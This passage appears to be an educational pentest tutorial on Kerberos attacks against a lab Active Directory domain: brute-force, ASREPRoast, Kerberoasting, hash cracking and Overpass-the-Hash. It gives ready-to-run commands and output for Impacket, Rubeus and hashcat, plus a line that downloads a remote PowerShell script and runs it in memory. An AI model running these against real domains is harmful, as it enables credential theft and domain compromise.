Introduction

In this article about Kerberos, a few attacks against the protocol will be shown. In order to refresh the concepts behind the following attacks, it is recommended to check the first part of this series which covers Kerberos theory

The post is divided in one section per attack: Kerberos brute-force

ASREPRoast

Kerberoasting

Pass the key

Pass the ticket

Silver ticket

Golden ticket These attacks are sorted by the privileges needed to perform them, in ascending order. Thus, to perform the first attacks only connectivity with the DC (Domain Controller) is required, which is the KDC (Key Distribution Center) for the AD (Active Directory) network. Whereas, the last attack requires a user being a Domain Administrator or having similar privileges. Furthermore, each attack will be introduced from the pentesting perspective of 2 common scenarios: Linux machine : A computer external to the domain, owned by the auditor (Kali in this case), but with network connectivity to the DC (directly, VPN, Socks, does not really matter). It must be taken into account that the local time of the machine has to be synchronized with the DC.

: A computer external to the domain, owned by the auditor (Kali in this case), but with network connectivity to the DC (directly, VPN, Socks, does not really matter). It must be taken into account that the local time of the machine has to be synchronized with the DC. Windows machine: A compromised Windows machine in the domain, with a domain account if needed but with no administrator privileges, neither local nor domain. It is done this way because there are plenty of publications only covering part of one scenario. Therefore, the goal here is to present a useful guide that shows how to perform any attack in many different circumstances. Anyway, a comment can be leaving by anyone if any concept is not completely explained.

Tools

First of all, throughout this article the following main tools are used:

Examples of Impacket, to perform Kerberos related Linux attacks, which requires python installed on the machine.

Mimikatz, for Windows attacks.

Rubeus, for Windows attacks, which requires Redistributable 3.5 installed on the machine.

PsExec, for executing commands from Windows in remote machines.

There are a few additional tools, but those will be introduced in their respective sections. Besides, a Kerberos attacks cheatsheet was created to quickly get the commands needed to perform any of these attacks.

Let’s go with the interesting stuff.

Kerberos brute-force In first place, due to Kerberos is an authentication protocol, it is possible to perform brute-force attacks against it. Moreover, brute-forcing Kerberos has many advantages over brute-forcing other authentication methods, like the following: No domain account is needed to conduct the attack, just connectivity to the KDC.

Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

Kerberos indicates, even if the password is wrong, whether the username is correct or not. This is a huge advantage in case of performing this sort of technique without knowing any username.

In Kerberos brute-forcing it is also possible to discover user accounts without pre-authentication required, which can be useful to perform an ASREPRoast attack. However, by carrying out a brute-force attack it is also possible to block user accounts. Thus, this technique should be used carefully.

From Linux

The script kerbrute.py can be used to perform a brute-force attack by using Kerberos from a Linux computer:

[email protected]:kerbrute# python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Valid user => triceratops [*] Valid user => velociraptor [NOT PREAUTH] [*] Valid user => trex [*] Blocked/Disabled user => trex [*] Stupendous => velociraptor:Sm4rtSp33d [*] Saved TGT in velociraptor.ccache [*] Saved discovered passwords in jurassic_passwords.txt

Once finished, a file with the discovered passwords is generated. Besides, the obtained TGTs tickets are stored for future use.

From Windows

In the case of Windows, the module brute of Rubeus, which is available on a fork of Zer1t0, can be used to launch a brute-force attack like the following:

PS C:\Users\user01> .\Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:jurassic.park /outfile:jurassic_passwords.txt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 [+] Valid user => velociraptor [+] Valid user => trex [+] Valid user => triceratops [+] STUPENDOUS => triceratops:Sh4rpH0rns [*] Saved TGT into triceratops.kirbi

In the same way as in the Linux scenario, the discovered credentials are saved in the output file alongside valid TGTs.

ASREPRoast

The ASREPRoast attack looks for users without Kerberos pre-authentication required. That means that anyone can send an AS_REQ request to the KDC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline. More detail in Kerberos theory.

Furthermore, no domain account is needed to perform this attack, only connection to the KDC. However, with a domain account, an LDAP query can be used to retrieve users without Kerberos pre-authentication in the domain. Otherwise usernames have to be guessed.

In order to retrieve user accounts without Kerberos pre-authentication, the following LDAP filter can be used: (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)) . Parameter samAccountType allows to request user accounts only, without including computer accounts, and userAccountControl filters by Kerberos pre-authentication in this case.

From Linux

The script GetNPUsers.py can be used from a Linux machine in order to harvest the non-preauth AS_REP responses. The following commands allow to use a given username list or query to obtain a list of users by providing domain credentials:

[email protected]:impacket-examples# python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [-] User trex doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User triceratops doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [email protected]:impacket-examples# cat hashes.asreproast [email protected]:7c2e70d3d46b4794b9549bba5c6b728e$599da4e9b7823dbc8432c188c0cf14151df3530601ad57ee0bc2730e0f10d3f1552b3552cee9431cf3f1b119d099d3cead7ea38bc29d5d83074035a2e1d7de5fa17c9925c75aac2717f49baae54958ec289301a1c23ca2ec1c5b5be4a495215d42e9cbb2feb8b7f58fb28151ac6ecb0684c27f14ecc35835aecc3eec1ec3056d831dd518f35103fd970f6d082da0ebaf51775afa8777f783898a1fa2cea7493767024ab3688ec4fe00e3d08a7fb20a32c2abf8bdf66c9c42f49576ae9671400be01b6156b4677be4c79d807ba61f4703d9acda0e66befc5b442660ac638983680ffa3ada7eacabad0841c9aee586

[email protected]:impacket-examples# python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation Name MemberOf PasswordLastSet LastLogon UAC ------------ --------------------------------------------- ------------------- ------------------- -------- velociraptor CN=Domain Admins,CN=Users,DC=jurassic,DC=park 2019-02-27 17:12:12 2019-03-18 11:44:04 0x410200 [email protected]:impacket-examples# cat hashes.asreproast [email protected]:6602e01d59b4eeba815ab467194a9de4$b13a0e139b1daa46a457b3fa948c22cbbaad75a94c2b37064d757185d171c258e290210339d950b9245de6fa40a335986146a8c71c0b60f633b4c040141460a0a91737670f21caae6261ebde0151c06adceac22bfed84cb8c1f07948fb8e75b8a1d64c768c9e3f3a50d035ec03df643ea185648406b634b6fd673028e6e90ea429f57f9229b00f47f2bba2cdb7297d29b9f97a83d07c89dee7ea673340f64c443a213d5b9bbed969a68ca7a0ea41245b0fa985f64261803488b61821fbaedf43d50ea16075b2379bb354e4001d73dfd19cc8787b4bcd2bd9b542e0e2b1218ee8c16699c134ae5ec587afe0fd1880

After finishing the execution, the script will generate an output file with encoded AS_REP messages to crack using hashcat or John.

From Windows

Rubeus can be used to carry out this attack from a Windows machine. The following command will generate a file containing AS_REP messages of affected users:

C:\Users\triceratops>.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: AS-REP roasting [*] Using domain controller: Lab-WDC01.jurassic.park (10.200.220.2) [*] Building AS-REQ (w/o preauth) for: 'jurassic.park\velociraptor' [*] Connecting to 10.200.220.2:88 [*] Sent 170 bytes [*] Received 1423 bytes [+] AS-REQ w/o preauth successful! [*] Hash written to C:\Users\triceratops\hashes.asreproast [*] Roasted hashes written to : C:\Users\triceratops\hashes.asreproast C:\Users\triceratops>type hashes.asreproast [email protected]:BBEC05D876E5133F5AB0CEDA07572FE0$4A826CD2123EBC266179A9009E867EAAC03D1C8C9880ACF76DCA4B5919F967E86DBB6CD475DA8EF5C83B1B8388D22DA005BA10D5CB4D10F3C3F44C918ACD5843660C4FF5C678E635F7751A109524D693DB29BF75A5F0995B41CD35600B969FE371F77AD13F48604DFAB87253D324E8F53C267A2299D2450245D317D319A4FD424B42F815B79E2DD16C58AB2A2C106EB6995AFF70C8E889D8F170B35E78993157B3B3D13DCCE18A720BC5810C474CBC95C07B5FFCEE5EE06442FDB6244C33EECA4BFCD4F6C051A5F00C40A837A9644ADA70A381A85089F05CFB5E5F03AB0C7525BBA6AEAF9DA3554D3D700DD54760

Once executed, Rubeus should have generated a file with one AS_REP per line. This file can be used to feed Hashcat or John.

Cracking the AS_REP

Finally, to crack the harvested AS_REP messages, Hashcat or John can be used. In this case a dictionary attack will be performed, but a variety of cracking techniques can be applied.

Hashcat command:

[email protected]:impacket-examples# hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt hashcat (v5.1.0) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-Intel(R) Core(TM) i5-4210H CPU @ 2.90GHz, 2961/2961 MB allocatable, 2MCU Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers: * Zero-Byte * Not-Iterated * Single-Hash * Single-Salt Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 ATTENTION! Pure (unoptimized) OpenCL kernels selected. This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance. If you want to switch to optimized OpenCL kernels, append -O to your commandline. Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. * Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=18200 -D _unroll' Dictionary cache hit: * Filename..: passwords_kerb.txt * Passwords.: 3 * Bytes.....: 25 * Keyspace..: 3 The wordlist or mask that you are using is too small. This means that hashcat cannot use the full parallel power of your device(s). Unless you supply more work, your cracking speed will drop. For tips on supplying more work, see: https://hashcat.net/faq/morework Approaching final keyspace - workload adjusted. [email protected]:bbec05d876e5133f5ab0ceda07572fe0$4a826cd2123ebc266179a9009e867eaac03d1c8c9880acf76dca4b5919f967e86dbb6cd475da8ef5c83b1b8388d22da005ba10d5cb4d10f3c3f44c918acd5843660c4ff5c678e635f7751a109524d693db29bf75a5f0995b41cd35600b969fe371f77ad13f48604dfab87253d324e8f53c267a2299d2450245d317d319a4fd424b42f815b79e2dd16c58ab2a2c106eb6995aff70c8e889d8f170b35e78993157b3b3d13dcce18a720bc5810c474cbc95c07b5ffcee5ee06442fdb6244c33eeca4bfcd4f6c051a5f00c40a837a9644ada70a381a85089f05cfb5e5f03ab0c7525bba6aeaf9da3554d3d700dd54760:Sm4rtSp33d Session..........: hashcat Status...........: Cracked Hash.Type........: Kerberos 5 AS-REP etype 23 Hash.Target......: [email protected]:bbec05d876...d54760 Time.Started.....: Tue Mar 5 11:15:47 2019 (1 sec) Time.Estimated...: Tue Mar 5 11:15:48 2019 (0 secs) Guess.Base.......: File (passwords_kerb.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 4 H/s (0.18ms) @ Accel:64 Loops:1 Thr:64 Vec:4 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 3/3 (100.00%) Rejected.........: 0/3 (0.00%) Restore.Point....: 0/3 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: above1 -> below1 Started: Tue Mar 5 11:12:26 2019 Stopped: Tue Mar 5 11:15:48 2019

John command:

[email protected]:kali# john --wordlist=passwords_kerb.txt hashes.asreproast Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 1 candidates left, minimum 16 needed for performance. Sm4rtSp33d ([email protected]) 1g 0:00:00:00 DONE (2019-03-07 17:16) 20.00g/s 20.00p/s 20.00c/s 20.00C/s Sm4rtSp33d Use the "--show" option to display all of the cracked passwords reliably Session completed

In this case, luck is on our side, and the user password was contained in the dictionary.

Kerberoasting

The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts. Thus, part of these TGS tickets is encrypted with keys derived from user passwords. As a consequence, their credentials could be cracked offline. More detail in Kerberos theory.

Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required.

In order to retrieve user accounts which have associated services, the following LDAP filter can be used: (&(samAccountType=805306368)(servicePrincipalName=*)). Parameter samAccountType allows filtering out the computer accounts, and servicePrincipalName=* filters by accounts with at least one service.

From Linux

From a Linux machine, it is possible retrieve all the TGS’s by using the impacket example GetUserSPNs.py. The command required to perform the attack and save the TGS’s into a file is the following:

[email protected]:impacket-examples# python GetUserSPNs.py jurassic.park/triceratops:Sh4rpH0rns -outputfile hashes.kerberoast Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation ServicePrincipalName Name MemberOf PasswordLastSet LastLogon -------------------- ------------ -------- ------------------- ------------------- cloner/labwws02 velociraptor 2019-02-27 17:12:12 2019-03-05 09:35:27 [email protected]:impacket-examples# cat hashes.kerberoast $krb5tgs$23$*velociraptor$JURASSIC.PARK$cloner/labwws02*$b127187aceb93774a985bb1e528da85c$75cc3037a244f3422d6129bba79f79c67e79aca81b0b7dd551019424005abcfb8e232600fa968de2dcc9f10a44d13c17ac2be66bbb2640187dc174d81d9ebad0d691b36b3cbf4ca457678861748e2ab950f3066e0f50489415b934e4f6a2f2b7d8845cfd6a74279bad50da8c363174a07e51cbf39a2dd88bd74f1c839373cd9370ec1e2b7ebc5d6d05d49d34a75925d5983ab4849e211e57e93666f1fe9663b53620d2710e15f2c70837a4983db19c345b93f790244899b847d186197c37e966fc239ec750f91bd317fc2388ca421895052e2d57f742ab45c59275e95dfbb855ff11e5e893631164f6053ca0a6162c6b1be3ccdeb7fe2ce3a8634411b2b16ef03f558a5e0156bb8270ece6cf6b516af8172aa6071904d493c6fdf91738781371b68dfd9b4e1c2d6bcef3d665504194a703b08615d1b9c57ac794c37ab44dc2d57dff9677b0168aa7c078b190dddb2091ab63ca85868944cdbb4229a7a291028f193f94cb5c9a43c55b006cdd35df241b49d5464d3c05d5b7ec9eecd843335e45642892333b9760d06bc445d02558c2c30a2648a1018bc8493b8f73a6b0c07ffd052434239f0463b2344363656d6b6640efdc3e10fab04b99fc1f1487942c2b2c9ca7e89447aab3b1fb5adcb4b820d842a2ec713b788358e5c14d8ac3f0070058e6453297d4fb9538680ab152ce4ed3168cc6a58cc1c753b15d5de7fb98132ac3eec602ad611e8e03ed1c00c2bfa3b5bec1ea93f24b68b54fe48726f4e650dba34b3c4696b5f5e743cb5ace4b9b073dc718070d06e8f872abef2d4040350cd9e09091da47ab2fcef2e0d873afdcb9d7cf2236131f312d4e23004eb598efa064b871af82e618c31a2e82d28bc635ac3cbd000d725dd53217fb484178de3cd9bf4d20819c30c189ccc2ae349a333b628c6d41d01163b918def5ba089ac2cc6ff673dd64e1c2fef25fb599e009c1eca8e9e06cebc61fb0e7fc6922bc3edbdc60dd85a3f5b7412e8e46db80b55f577cc682892e66987a0e920872292a5cdd0f1a11fcc294461ccf86a53e75c9c8b0f9688919b4484986b7bcfb7612b117f98f5b0f4bf44ef0ad07245883ced1045b215a137d50a54f45a67168e6bed3dcb41f25b8ac307a4f3923d1545f0f6f1593db0a8b3032a3837b5c1715656e73c3ba0102e76dbbf47388bb5d1c334fc50598a57914a77c4c11059fe1b07b6342286ec2f6f38e7a5a946f40b7de01707f9681228904cb04434063c3dc7a6d26f301664514551ee20b69eb76d2a3f8fbc45b0d9cf9d236f8ac880c75b140dc471e6044b1c85af0e26393e057c5357f8ef223e845676e963eba6540d2cbee90cbb6d2422e9b1e34e6b2989a752c09b86d302219a45cd219f3fdf243f9b5c7002997daeff03f7cd437

Once finished, a file with a crackable TGS per line should have been generated as output. This file can be used to feed Hashcat or John in order to crack its TGS’s.

From Windows

Likewise, Kerberoasting can be performed from a Windows machine with several tools such as Rubeus or Invoke-Kerberoast from Empire project. In this case, tools are launched from the context of a logged user inside a domain workstation. The commands are the following:

C:\Users\triceratops>.\Rubeus.exe kerberoast /outfile:hashes.kerberoast ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Kerberoasting [*] SamAccountName : velociraptor [*] DistinguishedName : CN=velociraptor,OU=Usuarios,DC=jurassic,DC=park [*] ServicePrincipalName : cloner/labwws02 [*] Hash written to C:\Users\triceratops\hashes.kerberoast [*] Roasted hashes written to : C:\Users\triceratops\hashes.kerberoast C:\Users\triceratops>type hashes.kerberoast $krb5tgs$23$*$jurassic.park$cloner/labwws02*$60B2E176B7A641FD663BF1B8D0B6E106$069B2ACA38B73BFCAC56526DBAEF743F4981980CD213DD9FE7D41D3AB3F3E521273C70D9CA681319F690C5BFAE627B423D3FBAD20D7EDE8E1AF930B5AEFCC2657B4A8B0BD5DCD9B51560E78478A9A7616C0CB675FDC501828CCE58206542D48D48B4A1DCE61BDCB9705094DE1D16536526E04E5AE84567407DA665868E33DB26CD763DCEBDD8F6801494A9F6E3ADE8F63C7D197D1AE66345A9635FE5E7C2D35A9DC4885DD2C6699CE8C00D71B518DC6BA8B87F525AEC635881245F20E7ECE150B4D4223C19960AFF417FB4C053EA6FA3B86938FCA1F1A781E3F36FAB9EE8909422CCE440453F0E3A2D23DED7861BA919BC8567C6DC1F77817F1E44181783EC3BA76CF688A841FBD6F9B02B2BD2D4A22BB489808F04CAAA87D025812EF11B39FEC605485EB875D57F4D09623B3108638816E6D2DB81F280635B29FD4BD08A9C8AAE72571B61E81274C56DCAB8AE13C2EEFA3AF2DD4084A96CA84F336987CD765C2D23FB957EE378136ED42BBFDE1DE8361BF933B51370D7AF07A3A939C3FEEC62ADC4A884EE52A296DEF9402F732D57F04FB93FC296B8F5031FA852403D6AE7211648693C4CD0C47847C07E869D1FB41B627B1928EC929409EEE0B1CE67BB55CEA069A26809E8347A3BEA34AB9EC4F78051D40CCD9AB1C5AF655165F86E0185B72E01643854710E322A2722BDEAABA317A1ECD78096E3D5A51831A57F505B861AEEB9B2207CA2D7FBCE47847C3D3A1CB9D5C2B931BC532B220434550D83A82F63B26B918E189C38D7D979AC05D34043ECEDCA09CEFDB3065A8BE2717E84FC325373A7B778AA4325D7F0458AC7A84196DA7752BEFE0ED9A0830ECB60BA4F3EC5F0A2FB3BA482DD9F947C8A667CCC54013C01D15E0AB41CC08A140389028461B16E38CCD85542F8B53E1AC4CB4E8F6CE2EFC9ECDABD6AED2716C17221791D620E333359B39A0D6720FD6167A2D03A74B4C7FD549EC9169AC3103A4EBD9BF8F5754EF013411802524A5F8DA6FE7FBCD219D2193891C9026513AEB751D6D3707253929F43F6A40012E2463002465F888E6F15C4CE264DB88650D503431A3D1FC58321ADB65F7BC69E2E95562A81FFE3A633BF4AC27B85CE2CB49A0EF19FDA1A51074B898D21B94FA91F7092BE9B22BDFBA09829FC1B95187AE8CB2BBAB3C1E3ECF5835723C2858862A0BEF32001AC461C0FE496029B3E7E6827E0991F6CF3F6D658F4AA8DDDDC097CC2B12038DF8112833DA052D0ED2D42D2FD93DA13FFEE3831F57956DFF6FA0C9E573862B1D4F2AC3344F7320F1FBCB5F9773EEE0F091829052CC5F31CECBD0E468914C70B9F03CA056A53E449AE85734B1C43D57FEEFC5576672C82D47F14A168E9A2FFDE715955B2749A01DE174CB32C4D8F7477A087E717379D9599E50997D8619D8F1F2DB268E5D89A9DA13E2B61C15E97159740766C4415B5F46C754A2C2C9500092BD1AF88F1C1C4D5DC4A4F5078F691148D448DBCD94549F74A2312921293427891DEF1C0754FA6AA3633141BE8D885703279C62EECE474A366FC9B8C8A4A5DAF98FF

Another way to accomplish Kerberoast is to use the powershell script Invoke-Kerberoast from Empire project, which can be loaded directly into memory:

PS C:\Users\triceratops> iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") PS C:\Users\triceratops> Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

In the same way as impacket, these tools create output files with one crackable TGS per line, which can be used to feed Hashcat or John.

Cracking the TGSs

In this section, cracking examples of both Hashcat and John will be shown. However, there are several different cracking methods which can be applied in this situation. Next, a dictionary attack will be performed (the dictionary contains the password for demonstration purposes).

Hashcat command:

[email protected]:impacket-examples# hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt hashcat (v5.1.0) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-Intel(R) Core(TM) i5-4210H CPU @ 2.90GHz, 2961/2961 MB allocatable, 2MCU Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers: * Zero-Byte * Not-Iterated * Single-Hash * Single-Salt Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 ATTENTION! Pure (unoptimized) OpenCL kernels selected. This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance. If you want to switch to optimized OpenCL kernels, append -O to your commandline. Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. * Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=13100 -D _unroll' * Device #1: Kernel m13100_a0-pure.43809ab0.kernel not found in cache! Building may take a while... Dictionary cache hit: * Filename..: passwords_kerb.txt * Passwords.: 3 * Bytes.....: 25 * Keyspace..: 3 The wordlist or mask that you are using is too small. This means that hashcat cannot use the full parallel power of your device(s). Unless you supply more work, your cracking speed will drop. For tips on supplying more work, see: https://hashcat.net/faq/morework Approaching final keyspace - workload adjusted. $krb5tgs$23$*velociraptor$jurassic.park$cloner/labwws02*$60b2e176b7a641fd663bf1b8d0b6e106$069b2aca38b73bfcac56526dbaef743f4981980cd213dd9fe7d41d3ab3f3e521273c70d9ca681319f690c5bfae627b423d3fbad20d7ede8e1af930b5aefcc2657b4a8b0bd5dcd9b51560e78478a9a7616c0cb675fdc501828cce58206542d48d48b4a1dce61bdcb9705094de1d16536526e04e5ae84567407da665868e33db26cd763dcebdd8f6801494a9f6e3ade8f63c7d197d1ae66345a9635fe5e7c2d35a9dc4885dd2c6699ce8c00d71b518dc6ba8b87f525aec635881245f20e7ece150b4d4223c19960aff417fb4c053ea6fa3b86938fca1f1a781e3f36fab9ee8909422cce440453f0e3a2d23ded7861ba919bc8567c6dc1f77817f1e44181783ec3ba76cf688a841fbd6f9b02b2bd2d4a22bb489808f04caaa87d025812ef11b39fec605485eb875d57f4d09623b3108638816e6d2db81f280635b29fd4bd08a9c8aae72571b61e81274c56dcab8ae13c2eefa3af2dd4084a96ca84f336987cd765c2d23fb957ee378136ed42bbfde1de8361bf933b51370d7af07a3a939c3feec62adc4a884ee52a296def9402f732d57f04fb93fc296b8f5031fa852403d6ae7211648693c4cd0c47847c07e869d1fb41b627b1928ec929409eee0b1ce67bb55cea069a26809e8347a3bea34ab9ec4f78051d40ccd9ab1c5af655165f86e0185b72e01643854710e322a2722bdeaaba317a1ecd78096e3d5a51831a57f505b861aeeb9b2207ca2d7fbce47847c3d3a1cb9d5c2b931bc532b220434550d83a82f63b26b918e189c38d7d979ac05d34043ecedca09cefdb3065a8be2717e84fc325373a7b778aa4325d7f0458ac7a84196da7752befe0ed9a0830ecb60ba4f3ec5f0a2fb3ba482dd9f947c8a667ccc54013c01d15e0ab41cc08a140389028461b16e38ccd85542f8b53e1ac4cb4e8f6ce2efc9ecdabd6aed2716c17221791d620e333359b39a0d6720fd6167a2d03a74b4c7fd549ec9169ac3103a4ebd9bf8f5754ef013411802524a5f8da6fe7fbcd219d2193891c9026513aeb751d6d3707253929f43f6a40012e2463002465f888e6f15c4ce264db88650d503431a3d1fc58321adb65f7bc69e2e95562a81ffe3a633bf4ac27b85ce2cb49a0ef19fda1a51074b898d21b94fa91f7092be9b22bdfba09829fc1b95187ae8cb2bbab3c1e3ecf5835723c2858862a0bef32001ac461c0fe496029b3e7e6827e0991f6cf3f6d658f4aa8ddddc097cc2b12038df8112833da052d0ed2d42d2fd93da13ffee3831f57956dff6fa0c9e573862b1d4f2ac3344f7320f1fbcb5f9773eee0f091829052cc5f31cecbd0e468914c70b9f03ca056a53e449ae85734b1c43d57feefc5576672c82d47f14a168e9a2ffde715955b2749a01de174cb32c4d8f7477a087e717379d9599e50997d8619d8f1f2db268e5d89a9da13e2b61c15e97159740766c4415b5f46c754a2c2c9500092bd1af88f1c1c4d5dc4a4f5078f691148d448dbcd94549f74a2312921293427891def1c0754fa6aa3633141be8d885703279c62eece474a366fc9b8c8a4a5daf98ff:Sm4rtSp33d Session..........: hashcat Status...........: Cracked Hash.Type........: Kerberos 5 TGS-REP etype 23 Hash.Target......: $krb5tgs$23$*velociraptor$jurassic.park$cloner/labw...af98ff Time.Started.....: Tue Mar 5 10:46:34 2019 (1 sec) Time.Estimated...: Tue Mar 5 10:46:35 2019 (0 secs) Guess.Base.......: File (passwords_kerb.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 4 H/s (0.16ms) @ Accel:64 Loops:1 Thr:64 Vec:4 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 3/3 (100.00%) Rejected.........: 0/3 (0.00%) Restore.Point....: 0/3 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: above1 -> below1 Started: Tue Mar 5 10:42:51 2019 Stopped: Tue Mar 5 10:46:35 2019

Due to encoding while using hashcat, a problem raised. The tool displays an error similar to Byte Order Mark (BOM) was detected, due to an input file encoded with Unicode (which is common in Windows output files) instead of ASCII. In order to solve this issue, the tool dos2unix can be used to convert the file encoding to the correct one.

John command:

[email protected]:impacket-examples# john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast Using default input encoding: UTF-8 Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Sm4rtSp33d (?) 1g 0:00:00:00 DONE (2019-03-05 10:53) 50.00g/s 150.0p/s 150.0c/s 150.0C/s above1..below1 Use the "--show" option to display all of the cracked passwords reliably Session completed

John was not able to show the username alongside the cracked password, instead, it displayed the symbol (?). While this is enough in the case of just one TGS, it can get pretty annoying if several are going to be cracked.

After all, as shown above, it was possible to crack the password by using the correct dictionary with both tools.

Overpass The Hash/Pass The Key (PTK)

This attack aims to use user NTLM hash to request Kerberos tickets, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially useful in networks where NTLM protocol is disabled and only Kerberos is allowed as authentication protocol.

In order to perform this attack, the NTLM hash (or password) of the target user account is needed. Thus, once a user hash is obtained, a TGT can be requested for that account. Finally, it is possible to access any service or machine where the user account has permissions.

From Linux

From a Linux perspective, impacket can be used in order to perform this attack. Thus, the commands required for that purpose are the following:

[email protected]:impacket-examples# python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Saving ticket in velociraptor.ccache [email protected]:impacket-examples# export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache [email protected]:impacket-examples# python psexec.py jurassic.park/[email protected] -k -no-pass Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Requesting shares on labwws02.jurassic.park..... [*] Found writable share ADMIN$ [*] Uploading file yuiQeOUk.exe [*] Opening SVCManager on labwws02.jurassic.park..... [*] Creating service sBGq on labwws02.jurassic.park..... [*] Starting service sBGq..... [!] Press help for extra shell commands Microsoft Windows [Versión 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system C:\Windows\system32>

After generating and using the TGT, finally a shell is launched. The requested TGT can also be used with other impacket examples with parameter -k, and even with other tools (as smbexec.py or wmiexec.py) thanks to it being written in a ccache file, which is a widely used format for Kerberos tickets in Linux.

At the moment of writing the examples for this article some problems arised:

PyAsn1Error(‘NamedTypes can cast only scalar values’,) : Resolved by updating impacket to the lastest version.

KDC can’t found the name : Resolved by using the hostname instead of the IP address, because it was not recognized by Kerberos KDC.

From Windows

In order to accomplish this attack from a Windows machine, it is possible to use Rubeus and PsExec as follows:

